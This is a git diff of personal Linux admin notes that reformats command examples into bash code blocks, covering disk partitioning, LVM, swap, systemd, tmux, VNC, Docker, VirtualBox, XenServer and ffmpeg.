||||
> sudo fdisk /dev/sdb
|
||||
```bash
|
||||
sudo fdisk /dev/sdb
|
||||
```
|
||||
|
||||
> d
|
||||
```bash
|
||||
d
|
||||
```
|
||||
|
||||
Then make a new fileSystem of the desired type with:
|
||||
|
||||
> n
|
||||
```bash
|
||||
n
|
||||
```
|
||||
|
||||
And finally resize to the full size you want:
|
||||
|
||||
@ -149,14 +193,20 @@ Let's start with names. PV = 'Physical Volume', VG = 'Volume Group', and LV = '
|
||||
|
||||
Now we can create a volume group out of sdb2 and sdc3:
|
||||
|
||||
> sudo vgcreate my-new-vg /dev/sdb2 /dev/sdc3
|
||||
```bash
|
||||
sudo vgcreate my-new-vg /dev/sdb2 /dev/sdc3
|
||||
```
|
||||
|
||||
Then make a new logical volume out of the volume group:
|
||||
|
||||
> sudo lvcreate -n my-new-lv my-new-vg
|
||||
```bash
|
||||
sudo lvcreate -n my-new-lv my-new-vg
|
||||
```
|
||||
|
||||
Then have a look at all logical volumes:
|
||||
|
||||
> sudo lvscan
|
||||
```bash
|
||||
sudo lvscan
|
||||
```
|
||||
|
||||
|
||||
|
@ -4,44 +4,66 @@ tags: [ "Documentation", "basics" ]
|
||||
---
|
||||
# Making a Swap File
|
||||
|
||||
> cd /var/cache/
|
||||
```bash
|
||||
cd /var/cache/
|
||||
```
|
||||
|
||||
> sudo dd if=/dev/zero of=swapfile bs=1K count=4M
|
||||
```bash
|
||||
sudo dd if=/dev/zero of=swapfile bs=1K count=4M
|
||||
```
|
||||
|
||||
This creates a swapfile of (1k x 4M) 4 Gigs.
|
||||
Change 4M to XM for an XGig swap.
|
||||
|
||||
> sudo chmod 600 swapfile
|
||||
```bash
|
||||
sudo chmod 600 swapfile
|
||||
```
|
||||
|
||||
> sudo mkswap swapfile
|
||||
```bash
|
||||
sudo mkswap swapfile
|
||||
```
|
||||
|
||||
> sudo swapon swapfile
|
||||
```bash
|
||||
sudo swapon swapfile
|
||||
```
|
||||
|
||||
Test it's working with top
|
||||
|
||||
> top -bn1 | grep -i swap
|
||||
```bash
|
||||
top -bn1 | grep -i swap
|
||||
```
|
||||
|
||||
or:
|
||||
|
||||
> echo "/var/cache/swapfile none swap sw 0 0" | sudo tee -a /etc/fstab
|
||||
```bash
|
||||
echo "/var/cache/swapfile none swap sw 0 0" | sudo tee -a /etc/fstab
|
||||
```
|
||||
|
||||
Test it'll work at boot with:
|
||||
|
||||
> sudo swapoff swapfile
|
||||
```bash
|
||||
sudo swapoff swapfile
|
||||
```
|
||||
|
||||
> sudo swapon -va
|
||||
```bash
|
||||
sudo swapon -va
|
||||
```
|
||||
|
||||
# Partition Swaps
|
||||
|
||||
Put this in /etc/fstab:
|
||||
|
||||
`UUID=blah-blah none swap sw 0 0`
|
||||
> UUID=blah-blah none swap sw 0 0
|
||||
|
||||
Then test it works with:
|
||||
|
||||
> sudo swapon -va
|
||||
```bash
|
||||
sudo swapon -va
|
||||
```
|
||||
|
||||
Test other partitions in fstab with:
|
||||
|
||||
> sudo mount -a
|
||||
```bash
|
||||
sudo mount -a
|
||||
```
|
||||
|
||||
|
@ -2,11 +2,15 @@
|
||||
title: "journal"
|
||||
tags: [ "Documentation", "systemd" ]
|
||||
---
|
||||
```
|
||||
|
||||
Find errors since November
|
||||
|
||||
> journalctl --since=2018-11-01 --grep="EXT4-fs error"
|
||||
```bash
|
||||
journalctl --since=2018-11-01 --grep="EXT4-fs error"
|
||||
```
|
||||
|
||||
Limit size to 2G.
|
||||
|
||||
> journalctl --vacuum-size=2G
|
||||
```bash
|
||||
journalctl --vacuum-size=2G
|
||||
|
@ -26,13 +26,12 @@ WantedBy=multi-user.target
|
||||
|
||||
After making the new service, systemd requires reloading:
|
||||
|
||||
> sudo systemctl daemon-reload
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
```
|
||||
|
||||
# Types
|
||||
|
||||
* simple - the service cannot be called on by others. It runs on repeat.
|
||||
|
||||
* oneshot - the service executes once, then stops.
|
||||
|
||||
|
||||
|
||||
|
@ -2,19 +2,33 @@
|
||||
title: "systemd"
|
||||
tags: [ "Documentation", "systemd" ]
|
||||
---
|
||||
> systemctl list-units
|
||||
```bash
|
||||
systemctl list-units
|
||||
```
|
||||
|
||||
> sudo systemctl status mpd
|
||||
```bash
|
||||
sudo systemctl status mpd
|
||||
```
|
||||
|
||||
> sudo systemctl daemon-reload
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
```
|
||||
|
||||
> sudo systemctl taskd.service start
|
||||
```bash
|
||||
sudo systemctl taskd.service start
|
||||
```
|
||||
|
||||
> sudo systemctl status taskd.service
|
||||
```bash
|
||||
sudo systemctl status taskd.service
|
||||
```
|
||||
|
||||
# Startup
|
||||
|
||||
> sudo systemd-analyze
|
||||
```bash
|
||||
sudo systemd-analyze
|
||||
```
|
||||
|
||||
> sudo systemd-analyze blame
|
||||
```bash
|
||||
sudo systemd-analyze blame
|
||||
```
|
||||
|
||||
|
@ -4,7 +4,9 @@ tags: [ "Documentation", "System" ]
|
||||
---
|
||||
Start with:
|
||||
|
||||
> tmux
|
||||
```bash
|
||||
tmux
|
||||
```
|
||||
|
||||
Input a command with C-b
|
||||
|
||||
@ -32,15 +34,23 @@ In addition to Windows, there are panes.
|
||||
|
||||
Crate a new session with the name 'backup'.
|
||||
|
||||
> tmux new -s backup
|
||||
```bash
|
||||
tmux new -s backup
|
||||
```
|
||||
|
||||
List sessions:
|
||||
|
||||
> tmux list-sessions
|
||||
```bash
|
||||
tmux list-sessions
|
||||
```
|
||||
|
||||
> tmux kill-session -t 2
|
||||
```bash
|
||||
tmux kill-session -t 2
|
||||
```
|
||||
|
||||
> tmux attach -t backup
|
||||
```bash
|
||||
tmux attach -t backup
|
||||
```
|
||||
|
||||
|
||||
# Control
|
||||
|
@ -1,5 +0,0 @@
|
||||
---
|
||||
title: "urxvt"
|
||||
tags: [ "Documentation", "System" ]
|
||||
---
|
||||
Perl scripts typically kept in /usr/lib/urxvt/perl
|
@ -6,11 +6,15 @@ https://linuxconfig.org/vnc-server-on-ubuntu-18-04-bionic-beaver-linux
|
||||
|
||||
Enable remote desktop access.
|
||||
|
||||
> sudo apt install vnc4server xfce4 xfce4-goodies
|
||||
```bash
|
||||
sudo apt install vnc4server xfce4 xfce4-goodies
|
||||
```
|
||||
|
||||
Disable the vncserver desktop:
|
||||
|
||||
> vncserver -kill :1
|
||||
```bash
|
||||
vncserver -kill :1
|
||||
```
|
||||
|
||||
Replace the config in ~/.vnc/xstartup with:
|
||||
|
||||
@ -22,43 +26,49 @@ Replace the config in ~/.vnc/xstartup with:
|
||||
|
||||
Install tigervnc, then run it to set a password:
|
||||
|
||||
> vncserver
|
||||
```bash
|
||||
vncserver
|
||||
```
|
||||
|
||||
You'll get a session number.
|
||||
|
||||
Shut it down with the 'kill' command and the session's number:
|
||||
|
||||
> vncserver -kill :1
|
||||
```bash
|
||||
vncserver -kill :1
|
||||
```
|
||||
|
||||
This will forward over port 5900+x where x is the session number. For the first server, that's port 5901.
|
||||
|
||||
# Create a systemd service
|
||||
|
||||
> sudo vim /etc/systemd/system/vncserver@:1.service
|
||||
```bash
|
||||
sudo vim /etc/systemd/system/vncserver@:1.service
|
||||
```
|
||||
|
||||
Then enter:
|
||||
|
||||
```
|
||||
[Unit]
|
||||
Description=Remote desktop service (VNC)
|
||||
After=syslog.target network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=foo
|
||||
PAMName=login
|
||||
PIDFile=/home/%u/.vnc/%H%i.pid
|
||||
ExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :'
|
||||
ExecStart=/usr/bin/vncserver %i -geometry 1440x900 -alwaysshared -fg
|
||||
ExecStop=/usr/bin/vncserver -kill %i
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
```
|
||||
> [Unit]
|
||||
> Description=Remote desktop service (VNC)
|
||||
> After=syslog.target network.target
|
||||
>
|
||||
> [Service]
|
||||
> Type=simple
|
||||
> User=foo
|
||||
> PAMName=login
|
||||
> PIDFile=/home/%u/.vnc/%H%i.pid
|
||||
> ExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :'
|
||||
> ExecStart=/usr/bin/vncserver %i -geometry 1440x900 -alwaysshared -fg
|
||||
> ExecStop=/usr/bin/vncserver -kill %i
|
||||
>
|
||||
> [Install]
|
||||
> WantedBy=multi-user.target
|
||||
|
||||
Then enable that service:
|
||||
|
||||
> sudo systemctl start vncserver@:1.service
|
||||
```bash
|
||||
sudo systemctl start vncserver@:1.service
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
@ -2,49 +2,71 @@
|
||||
title: "Docker"
|
||||
tags: [ "documentation", "Virtualization" ]
|
||||
---
|
||||
> sudo pacman -S docker
|
||||
```bash
|
||||
sudo pacman -S docker
|
||||
```
|
||||
|
||||
> sudo usermod -aG docker $USER
|
||||
```bash
|
||||
sudo usermod -aG docker $USER
|
||||
```
|
||||
|
||||
> sudo systemctl start docker
|
||||
```bash
|
||||
sudo systemctl start docker
|
||||
```
|
||||
|
||||
You need to either log out and back in again to be in the docker group, or run everything as root.
|
||||
|
||||
> # docker info
|
||||
```bash
|
||||
# docker info
|
||||
```
|
||||
|
||||
This should show you things are working.
|
||||
|
||||
Search for a distro you want
|
||||
|
||||
> docker search debian
|
||||
```bash
|
||||
docker search debian
|
||||
```
|
||||
|
||||
If you get a hit, pull it.
|
||||
|
||||
> docker pull debian
|
||||
```bash
|
||||
docker pull debian
|
||||
```
|
||||
|
||||
Then run a live image:
|
||||
|
||||
> docker run -it debian
|
||||
```bash
|
||||
docker run -it debian
|
||||
```
|
||||
|
||||
# Delete
|
||||
|
||||
Check currently running containers with
|
||||
|
||||
> docker ps
|
||||
```bash
|
||||
docker ps
|
||||
```
|
||||
|
||||
Check all containers with
|
||||
|
||||
> docker ps -a
|
||||
```bash
|
||||
docker ps -a
|
||||
```
|
||||
|
||||
Now we can get a list of all containers.
|
||||
|
||||
To delete one, take the id, e.g. '97796727e883', and run:
|
||||
|
||||
> docker rm 97796727e883
|
||||
```bash
|
||||
docker rm 97796727e883
|
||||
```
|
||||
|
||||
# Networking
|
||||
|
||||
Get a list of docker container ips
|
||||
|
||||
> docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' *container_name_or_id*
|
||||
```bash
|
||||
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' *container_name_or_id*
|
||||
```
|
||||
|
||||
|
@ -6,33 +6,49 @@ tags: [ "Documentation", "System" ]
|
||||
|
||||
## Arch Linux
|
||||
|
||||
> sudo pacman -S virtualbox-host-modules-arch virtualbox-guest-iso
|
||||
```bash
|
||||
sudo pacman -S virtualbox-host-modules-arch virtualbox-guest-iso
|
||||
```
|
||||
|
||||
> sudo modprobe vboxdrv
|
||||
```bash
|
||||
sudo modprobe vboxdrv
|
||||
```
|
||||
|
||||
> # vboxreload
|
||||
```bash
|
||||
# vboxreload
|
||||
```
|
||||
|
||||
Make dd image into vdi
|
||||
|
||||
> VBoxManage convertdd base.dd output.vdi --format VDI
|
||||
```bash
|
||||
VBoxManage convertdd base.dd output.vdi --format VDI
|
||||
```
|
||||
|
||||
If this doesn't work, try to make a new bite size with just
|
||||
|
||||
> sudo dd if=image.dd of=image2.dd bs=512 conv=sync
|
||||
```bash
|
||||
sudo dd if=image.dd of=image2.dd bs=512 conv=sync
|
||||
```
|
||||
|
||||
## CLI Management
|
||||
|
||||
List boxes:
|
||||
|
||||
> VBoxManage list vms
|
||||
```bash
|
||||
VBoxManage list vms
|
||||
```
|
||||
|
||||
Start a headless instance
|
||||
|
||||
> VBoxManage startvm "rata" --type headless
|
||||
```bash
|
||||
VBoxManage startvm "rata" --type headless
|
||||
```
|
||||
|
||||
To pause the machine:
|
||||
|
||||
> VBoxManage controlvm "rata" pause --type headless
|
||||
```bash
|
||||
VBoxManage controlvm "rata" pause --type headless
|
||||
```
|
||||
|
||||
You can do a number of things to virtualboxes this way:
|
||||
|
||||
@ -48,11 +64,17 @@ You can do a number of things to virtualboxes this way:
|
||||
|
||||
Creating a VM requires registering it:
|
||||
|
||||
> VBoxManage createvm --name Ubuntu19.04 --register --ostype Ubuntu
|
||||
```bash
|
||||
VBoxManage createvm --name Ubuntu19.04 --register --ostype Ubuntu
|
||||
```
|
||||
|
||||
> VBoxManage modifyvm Ubuntu19.04 --memory 1042
|
||||
```bash
|
||||
VBoxManage modifyvm Ubuntu19.04 --memory 1042
|
||||
```
|
||||
|
||||
> VBoxManage storagectl Ubuntu19.04 -name IDE --add ide --controller PIIX4 --bootable on
|
||||
```bash
|
||||
VBoxManage storagectl Ubuntu19.04 -name IDE --add ide --controller PIIX4 --bootable on
|
||||
```
|
||||
|
||||
Create just a disk with:
|
||||
|
||||
|
@ -4,39 +4,59 @@ tags: [ "documentation", "virtualization", "xen" ]
|
||||
---
|
||||
# Basic VM Management
|
||||
|
||||
> xe vm-list
|
||||
```bash
|
||||
xe vm-list
|
||||
```
|
||||
|
||||
Start, stop, et c. all done with `xe`:
|
||||
|
||||
> xe vm-start vm=*TTS*
|
||||
```bash
|
||||
xe vm-start vm=*TTS*
|
||||
```
|
||||
|
||||
> xe vm-shutdown vm=*Bob*
|
||||
```bash
|
||||
xe vm-shutdown vm=*Bob*
|
||||
```
|
||||
|
||||
Destruction requires the uuid.
|
||||
|
||||
> xe vm-destroy uuid=*243b1165-14aa-37f6-496f-44879d05b3f2*
|
||||
```bash
|
||||
xe vm-destroy uuid=*243b1165-14aa-37f6-496f-44879d05b3f2*
|
||||
```
|
||||
|
||||
# Shut Down VM
|
||||
|
||||
List VMs.
|
||||
|
||||
> xe host-list
|
||||
```bash
|
||||
xe host-list
|
||||
```
|
||||
|
||||
> xe vm-list resident-on=*<uuid_of_host>*
|
||||
```bash
|
||||
xe vm-list resident-on=*<uuid_of_host>*
|
||||
```
|
||||
|
||||
> xe vm-shutdown uuid=*<UUID from step 3>* force=true
|
||||
```bash
|
||||
xe vm-shutdown uuid=*<UUID from step 3>* force=true
|
||||
```
|
||||
|
||||
If this doesn't work, try:
|
||||
|
||||
> xe vm-reset-powerstate uuid=*<UUID from step 3>* force=true
|
||||
```bash
|
||||
xe vm-reset-powerstate uuid=*<UUID from step 3>* force=true
|
||||
```
|
||||
|
||||
Get the id:
|
||||
|
||||
> list_domains
|
||||
```bash
|
||||
list_domains
|
||||
```
|
||||
|
||||
And destroy the domain:
|
||||
|
||||
> /opt/xensource/debug/xenops destroy_domain -domid *<DOMID from step 7>*
|
||||
```bash
|
||||
/opt/xensource/debug/xenops destroy_domain -domid *<DOMID from step 7>*
|
||||
```
|
||||
|
||||
# Error: `Internal error:xenopsd internal error: Storage_interface.Illegal_transition` in XenServer
|
||||
|
||||
@ -52,7 +72,9 @@ To resolve this error, complete the following procedure:
|
||||
|
||||
Open the Console to the XenServer that is hosting the VM and run the following command:
|
||||
|
||||
> list_domains
|
||||
```bash
|
||||
list_domains
|
||||
```
|
||||
|
||||
All the VMs running on that server are displayed.
|
||||
|
||||
@ -62,17 +84,25 @@ This is the UUID of the Control Domain. The Control Domain is a privileged Virtu
|
||||
|
||||
Run the following command to obtain the UUID of the VBD (Virtual Block Device) object linking the Control Domain:
|
||||
|
||||
> xe vbd-list vm-uuid=*<uuid of the Control Domain>*
|
||||
```bash
|
||||
xe vbd-list vm-uuid=*<uuid of the Control Domain>*
|
||||
```
|
||||
|
||||
Run the following commands to unplug and destroy the VBD:
|
||||
|
||||
> xe vbd-unplug uuid=*<uuid of the vbd>*
|
||||
```bash
|
||||
xe vbd-unplug uuid=*<uuid of the vbd>*
|
||||
```
|
||||
|
||||
> xe vbd-destroy uuid=*<uuid of the vbd>*
|
||||
```bash
|
||||
xe vbd-destroy uuid=*<uuid of the vbd>*
|
||||
```
|
||||
|
||||
## Make a local iso repository
|
||||
|
||||
> xe sr-create name-label=LocalISO type=iso device-config:location=/var/opt/xen/ISO_Store device-config:legacy_mode=true content-type=iso
|
||||
```bash
|
||||
xe sr-create name-label=LocalISO type=iso device-config:location=/var/opt/xen/ISO_Store device-config:legacy_mode=true content-type=iso
|
||||
```
|
||||
|
||||
This creates a UUID for the new directory:
|
||||
|
||||
@ -90,15 +120,21 @@ Put in the USB.
|
||||
|
||||
Get the USB's uuid.
|
||||
|
||||
> xe pusb-list
|
||||
```bash
|
||||
xe pusb-list
|
||||
```
|
||||
|
||||
Make the USB recognised as a device.
|
||||
|
||||
> xe pusb-param-set uuid=*<uuid>*
|
||||
```bash
|
||||
xe pusb-param-set uuid=*<uuid>*
|
||||
```
|
||||
|
||||
For passthrough, use this:
|
||||
|
||||
> xe pusb-param-set uuid=*<uuid>* passthrough-enabled=true
|
||||
```bash
|
||||
xe pusb-param-set uuid=*<uuid>* passthrough-enabled=true
|
||||
```
|
||||
|
||||
## Attach to host
|
||||
|
||||
@ -108,12 +144,18 @@ For passthrough, use this:
|
||||
|
||||
# Storage Spaces - "SR"
|
||||
|
||||
> xe sr-list
|
||||
```bash
|
||||
xe sr-list
|
||||
```
|
||||
|
||||
# Exporting and Exporting VMs
|
||||
|
||||
> xe vm-export vm=*<Name>* filename=*/full/path.xva*
|
||||
```bash
|
||||
xe vm-export vm=*<Name>* filename=*/full/path.xva*
|
||||
```
|
||||
|
||||
> xe vm-import vm=*<Name>* filename=*/full/path.xva*
|
||||
```bash
|
||||
xe vm-import vm=*<Name>* filename=*/full/path.xva*
|
||||
```
|
||||
|
||||
|
||||
|
@ -4,9 +4,13 @@ tags: [ "Documentation", "xe", "virtualization", "volume" ]
|
||||
---
|
||||
# Make a local iso repository
|
||||
|
||||
> mkdir -p */var/opt/xen/ISO_Store*
|
||||
```bash
|
||||
mkdir -p */var/opt/xen/ISO_Store*
|
||||
```
|
||||
|
||||
> xe sr-create name-label=*LocalISO* type=iso device-config:location=*/var/opt/xen/ISO_Store* device-config:legacy_mode=true content-type=iso
|
||||
```bash
|
||||
xe sr-create name-label=*LocalISO* type=iso device-config:location=*/var/opt/xen/ISO_Store* device-config:legacy_mode=true content-type=iso
|
||||
```
|
||||
|
||||
This creates a UUID for the new directory:
|
||||
|
||||
@ -14,15 +18,21 @@ This creates a UUID for the new directory:
|
||||
|
||||
# Main Console
|
||||
|
||||
> xsconsole
|
||||
```bash
|
||||
xsconsole
|
||||
```
|
||||
|
||||
# Volumes
|
||||
|
||||
List volumes:
|
||||
|
||||
> lvs
|
||||
```bash
|
||||
lvs
|
||||
```
|
||||
|
||||
List groups:
|
||||
|
||||
> vgs
|
||||
```bash
|
||||
vgs
|
||||
```
|
||||
|
||||
|
103
vision/ffmpeg.md
103
vision/ffmpeg.md
@ -14,18 +14,26 @@ The input file might be a device, such as a camera.
|
||||
|
||||
Take the format as 'grab the x11 screen'.
|
||||
|
||||
> ffmpeg -f x11grab -s [screensize] -i :0.0 out.mkv
|
||||
```bash
|
||||
ffmpeg -f x11grab -s [screensize] -i :0.0 out.mkv
|
||||
```
|
||||
|
||||
Get screensize with
|
||||
|
||||
> xrandr -q
|
||||
```bash
|
||||
xrandr -q
|
||||
```
|
||||
|
||||
or maybe just...
|
||||
|
||||
> ffmpeg -f x11grab -s "$(xdpyinfo | grep dimensions | awk '{print $2}')" -i :1.0 out.mkv
|
||||
```bash
|
||||
ffmpeg -f x11grab -s "$(xdpyinfo | grep dimensions | awk '{print $2}')" -i :1.0 out.mkv
|
||||
```
|
||||
|
||||
#Add default pulse audio
|
||||
> ffmpeg -f x11grab -s [screensize] -i :0.0 -f alsa -i default out.mkv
|
||||
```bash
|
||||
ffmpeg -f x11grab -s [screensize] -i :0.0 -f alsa -i default out.mkv
|
||||
```
|
||||
|
||||
For problems, see pavucontrol.
|
||||
|
||||
@ -34,7 +42,9 @@ For problems, see pavucontrol.
|
||||
|
||||
# Rotate
|
||||
|
||||
> ffmpeg -i in.mov -vf "transpose=1" out.mov
|
||||
```bash
|
||||
ffmpeg -i in.mov -vf "transpose=1" out.mov
|
||||
```
|
||||
|
||||
0 = 90 Counterclockwise and verfical flip (default)
|
||||
1 = 90 Clockwise
|
||||
@ -51,89 +61,106 @@ ffmpeg -i input.mp4 -vcodec libx264 -crf 20 output.mp4
|
||||
|
||||
Check for supported formats:
|
||||
|
||||
> ffmpeg -formats
|
||||
```bash
|
||||
ffmpeg -formats
|
||||
```
|
||||
|
||||
To convert from mkv to mp4 we can use a codec rather than proper conversion. Both are wrappers around other formats, so this conversion loses less quality than other conversion types.
|
||||
|
||||
> ffmpeg -i LostInTranslation.mkv -codec copy LostInTranslation.mp4
|
||||
```bash
|
||||
ffmpeg -i LostInTranslation.mkv -codec copy LostInTranslation.mp4
|
||||
```
|
||||
|
||||
Opus to mp3
|
||||
|
||||
> ffmpeg -i song.opus song.mp3
|
||||
```bash
|
||||
ffmpeg -i song.opus song.mp3
|
||||
```
|
||||
|
||||
> ffmpeg -i video.flv video.mpeg
|
||||
```bash
|
||||
ffmpeg -i video.flv video.mpeg
|
||||
```
|
||||
|
||||
> ffmpeg -i input.webm -qscale 0 output.mp4
|
||||
```bash
|
||||
ffmpeg -i input.webm -qscale 0 output.mp4
|
||||
```
|
||||
|
||||
# Video to Audio
|
||||
|
||||
> ffmpeg -i input.mp4 -vn output.mp3
|
||||
```bash
|
||||
ffmpeg -i input.mp4 -vn output.mp3
|
||||
```
|
||||
|
||||
|
||||
# Convert all mkv files to mp4
|
||||
|
||||
> for i in *.mkv; do
|
||||
```bash
|
||||
for i in *.mkv; do
|
||||
```
|
||||
|
||||
> ffmpeg -i "$i" -codec copy "${i%.*}.mp4"
|
||||
|
||||
> done
|
||||
```bash
|
||||
done
|
||||
```
|
||||
|
||||
|
||||
# Change resolution
|
||||
|
||||
> ffmpeg -i input.mp4 -filter:v scale=1280:720 -c:a copy output.mp4
|
||||
```bash
|
||||
ffmpeg -i input.mp4 -filter:v scale=1280:720 -c:a copy output.mp4
|
||||
```
|
||||
|
||||
Or just crop:
|
||||
|
||||
> ffmpeg -i input.mp4 -filter:v "crop=w:h:x:y" output.mp4
|
||||
```bash
|
||||
ffmpeg -i input.mp4 -filter:v "crop=w:h:x:y" output.mp4
|
||||
```
|
||||
|
||||
Or aspect ratio:
|
||||
|
||||
> ffmpeg -i input.mp4 -aspect 16:9 output.mp4
|
||||
```bash
|
||||
ffmpeg -i input.mp4 -aspect 16:9 output.mp4
|
||||
```
|
||||
|
||||
Or trim to start and stop times:
|
||||
|
||||
> ffmpeg -i input.mp4 -ss 00:00:50 -codec copy -t 50 output.mp4
|
||||
```bash
|
||||
ffmpeg -i input.mp4 -ss 00:00:50 -codec copy -t 50 output.mp4
|
||||
```
|
||||
|
||||
Indicate start times with -ss and time with -t in seconds.
|
||||
|
||||
Or split a video into parts:
|
||||
|
||||
> ffmpeg -i input.mp4 -t 00:00:30 -c copy part1.mp4 -ss 00:00:30 -codec copy part2.mp4
|
||||
```bash
|
||||
ffmpeg -i input.mp4 -t 00:00:30 -c copy part1.mp4 -ss 00:00:30 -codec copy part2.mp4
|
||||
```
|
||||
|
||||
|
||||
# Compress Video
|
||||
|
||||
> ffmpeg -i input.mp4 -vf scale=1280:-1 -c:v libx264 -preset veryslow -crf 24 output.mp4
|
||||
```bash
|
||||
ffmpeg -i input.mp4 -vf scale=1280:-1 -c:v libx264 -preset veryslow -crf 24 output.mp4
|
||||
```
|
||||
|
||||
# Extract Images from Video
|
||||
|
||||
-r sets the frame rate, and -f selects the format.
|
||||
|
||||
> ffmpeg -i input.mp4 -r 1 -f image2 image-%2d.png
|
||||
```bash
|
||||
ffmpeg -i input.mp4 -r 1 -f image2 image-%2d.png
|
||||
```
|
||||
|
||||
# Add Images to Audio
|
||||
|
||||
> $ ffmpeg -loop 1 -i inputimage.jpg -i inputaudio.mp3 -c:v libx264 -c:a aac -strict experimental -b:a 192k -shortest output.mp4
|
||||
|
||||
# Create a Video from Multiple Parts
|
||||
|
||||
First make a text file indicating all the parts, e.g.
|
||||
|
||||
```bash
|
||||
$ ffmpeg -loop 1 -i inputimage.jpg -i inputaudio.mp3 -c:v libx264 -c:a aac -strict experimental -b:a 192k -shortest output.mp4
|
||||
```
|
||||
|
||||
file /home/sk/myvideos/part1.mp4
|
||||
file /home/sk/myvideos/part2.mp4
|
||||
file /home/sk/myvideos/part3.mp4
|
||||
file /home/sk/myvideos/part4.mp4
|
||||
|
||||
```
|
||||
|
||||
Then join with:
|
||||
|
||||
> ffmpeg -f concat -i join.txt -c copy output.mp4
|
||||
|
||||
# Add Subtitles
|
||||
|
||||
> fmpeg -i input.mp4 -i subtitle.srt -map 0 -map 1 -c copy -c:v libx264 -crf 23 -preset veryfast output.mp4
|
||||
```bash
|
||||
fmpeg -i input.mp4 -i subtitle.srt -map 0 -map 1 -c copy -c:v libx264 -crf 23 -preset veryfast output.mp4
|
||||
```
|
||||
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user